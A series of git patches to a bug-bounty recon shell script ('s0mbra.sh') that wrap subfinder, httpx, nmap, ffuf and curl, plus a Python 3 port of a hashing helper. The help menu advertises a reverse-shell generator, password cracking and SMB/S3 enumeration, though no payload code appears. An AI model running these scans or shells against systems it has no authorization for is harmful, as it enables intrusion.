http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" + echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" + echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" + echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" + echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" + echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$CLR" ;; esac From ec158984b8e78342c87e3b1615c69bad79a6d3d9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 1 May 2022 07:03:19 +0100 Subject: [PATCH 200/369] [s0mbra] snyktest refactoring --- s0mbra.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 81b1cca..531b6e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -118,9 +118,11 @@ um() { # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { + echo -e "$BLUE[s0mbra] Run npm audit first, just in case...$CLR" + npm audit . echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "\n$BLUE[s0mbra] Done." + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open From ef9fe657890d7ebf269cdbf4fb8e425d5a0d7729 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 2 May 2022 12:08:32 +0100 Subject: [PATCH 201/369] [s0mbra] snyktest command output improvements --- s0mbra.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 531b6e3..3f7d1b5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -118,9 +118,10 @@ um() { # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { - echo -e "$BLUE[s0mbra] Run npm audit first, just in case...$CLR" + echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" + echo -e "$BLUE[s0mbra] Running npm audit...$CLR" npm audit . - echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" + echo -e "$BLUE[s0mbra] Running snyk test...$CLR" snyk test echo -e "$BLUE[s0mbra] Done." } From 5f44fdf290a569dbb19217f3ca1cd42e2beb6750 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 3 May 2022 21:32:09 +0100 Subject: [PATCH 202/369] [s0mbra] snyktest command output improvements --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3f7d1b5..8d05e3c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -119,9 +119,9 @@ um() { # with nodestructor and semgrep snyktest() { echo -e "$BLUE[s0mbra] Auditing Node application using:\n -> npm audit\n -> snyk\n$CLR" - echo -e "$BLUE[s0mbra] Running npm audit...$CLR" + echo -e "$BLUE[s0mbra] Running npm audit$CLR" npm audit . - echo -e "$BLUE[s0mbra] Running snyk test...$CLR" + echo -e "$BLUE[s0mbra] Running snyk test$CLR" snyk test echo -e "$BLUE[s0mbra] Done." } From d6d1e771324d180d5bec20715e1a19cd526631b2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 May 2022 11:29:22 +0100 Subject: [PATCH 203/369] [s0mbra] takealook command - lookaround for single domain --- s0mbra.sh | 41 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8d05e3c..5889cea 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,6 +237,41 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# quick lookaround, but for single domain - no need to create scope file +takealook() { + TMPDIR=$(pwd) + START_TIME=$(date) + DOMAIN=$1 + echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.tmp" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # prepare list of uniqe subdomains + cat s0mbra_recon_sub* > step1 + sed 's/
/#/g' step1 | tr '#' '\n' > step2 + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + rm -f step* + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file recon() { TMPDIR=$(pwd) @@ -641,6 +676,9 @@ case "$cmd" in lookaround) lookaround "$2" ;; + takealook) + takealook "$2" + ;; recon) recon "$2" ;; @@ -744,7 +782,8 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" + echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" + echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 82604e93a8643e1978bbd9861a6e7783fb8de95b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 May 2022 11:34:13 +0100 Subject: [PATCH 204/369] [s0mbra] takealook command - lookaround for single domain --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5889cea..863a861 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -782,7 +782,7 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" + echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" From c669067ca7697202291e9d3c2975a37fcbdee660 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 8 May 2022 20:04:02 +0100 Subject: [PATCH 205/369] [s0mbra] remove unused fufilter --- s0mbra.sh | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 863a861..204ac97 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -418,28 +418,6 @@ api_fuzz() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fufilter() { - clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 - - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES... (filter size: $3) $CLR" - - if [[ -n $4 ]]; then - if [[ $4 == "/" ]]; then - # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes - # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -766,9 +744,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; - fufilter) - fufilter "$2" "$3" "$4" "$5" - ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -789,7 +764,6 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 289c53c333b228a8da52fd4029a222969ae20da5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 9 May 2022 08:54:55 +0100 Subject: [PATCH 206/369] [hacher] Refactor to Python 3 --- hasher.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/hasher.py b/hasher.py index 91f9ac0..b849f30 100755 --- a/hasher.py +++ b/hasher.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin//env python3 ### github.com/bl4de | hackerone.com/bl4de ### import sys @@ -13,22 +13,22 @@ def usage(): - print description + print(description) exit(0) + def hex_encode(s): enc = '' for c in s: - enc = enc + (str(hex(ord(c))).replace('0x','')) + enc = enc + (str(hex(c)).replace('0x', '')) return enc def main(s): - print "SHA1\t\t{}".format(hashlib.sha1(s).hexdigest()) - print "MD5 \t\t{}".format(hashlib.md5(s).hexdigest()) - print "Base64 \t\t{}".format(base64.b64encode(s)) - print "URL-encoded \t{}".format(urllib.pathname2url(s)) - print "HEX encoded \t{}".format(hex_encode(s)) + print("SHA1\t\t{}".format(hashlib.sha1(s.encode('utf-8')).hexdigest())) + print("MD5 \t\t{}".format(hashlib.md5(s.encode('utf-8')).hexdigest())) + print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) + print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) if __name__ == "__main__": From 076f9787b5a976774ebc44e44418874def6cc4a9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 14 May 2022 17:28:10 +0100 Subject: [PATCH 207/369] [s0mbra] menu improvement --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 204ac97..1285342 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -772,7 +772,7 @@ case "$cmd" in echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" From be160ef9df6adf6f2c9e5fa1e5cc2d5190213ed8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 15 May 2022 12:48:22 +0100 Subject: [PATCH 208/369] [s0mbra] remove ransack; use recon instead of ransack; --- s0mbra.sh | 48 +++--------------------------------------------- 1 file changed, 3 insertions(+), 45 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1285342..c56c513 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -272,46 +272,9 @@ takealook() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file -recon() { - TMPDIR=$(pwd) - START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" - - # subfinder - echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - - # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap --min-rate=1000 -T4 -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml - - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp - - # ffuf - starter + lowercase enumeration - echo -e "\n$GREEN--> ffuf on HTTP 200 from httpx$CLR\n" - for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); - do - NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - done - - END_TIME=$(date) - echo -e "\n$GREEN[s0mbra] Finished!" - echo -e "\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" - echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" - echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) -ransack() { +recon() { HOSTNAME=$1 # set options: @@ -658,10 +621,7 @@ case "$cmd" in takealook "$2" ;; recon) - recon "$2" - ;; - ransack) - ransack "$2" "$3" "$4" + recon "$2" "$3" "$4" ;; kiterunner) kiterunner "$2" @@ -755,12 +715,10 @@ case "$cmd" in ;; *) clear - echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" - echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From d3ef7e98d9442b2727548928eda61e7c96c6157b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 16 May 2022 10:56:06 +0100 Subject: [PATCH 209/369] [s0mbra] get command to send HTTP requests to the server --- s0mbra.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index c56c513..be52b78 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -606,6 +606,18 @@ b64() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# executes HTTP requests to most common HTTP ports +get() { + PORTS=(80 280 443 591) + echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" + for PORT in "${PORTS[@]}"; do + echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + curl -I -m 10 https://$1:$PORT + echo + done + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 clear @@ -704,6 +716,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + get) + get "$2" + ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -722,6 +737,7 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 56a5ec47411512a87ed9e1c72d4ea256381f323a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 11:23:41 +0100 Subject: [PATCH 210/369] [s0mbra] List of HTTP ports for get command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index be52b78..488dcab 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -608,7 +608,7 @@ b64() { # executes HTTP requests to most common HTTP ports get() { - PORTS=(80 280 443 591) + PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" From 40cd98fff47ca47f8778338493a32f74f7b6ee32 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 11:36:33 +0100 Subject: [PATCH 211/369] [s0mbra] takealook output improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 488dcab..63251e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -265,9 +265,9 @@ takealook() { END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" grep 200 $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } From d28a11ceb05f7fca72a8cd10d57756e578e7ef35 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 21:17:14 +0100 Subject: [PATCH 212/369] [s0mbra] added subdomanizer to recon command --- s0mbra.sh | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 63251e7..0994f1b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -284,6 +284,7 @@ recon() { FFUF=$(echo $2|grep 'ffuf'|wc -l) FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) # set proto: if [[ -z $3 ]]; then @@ -339,6 +340,12 @@ recon() { x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 fi + # subdomanizer + if [[ $SUBDOMANIZER -eq "1" ]]; then + echo -e "\n$GREEN--> SubDomanizer$CLR\n" + subdomanizer --url $PROTO://$HOSTNAME/ + fi + END_TIME=$(date) echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" @@ -733,7 +740,7 @@ case "$cmd" 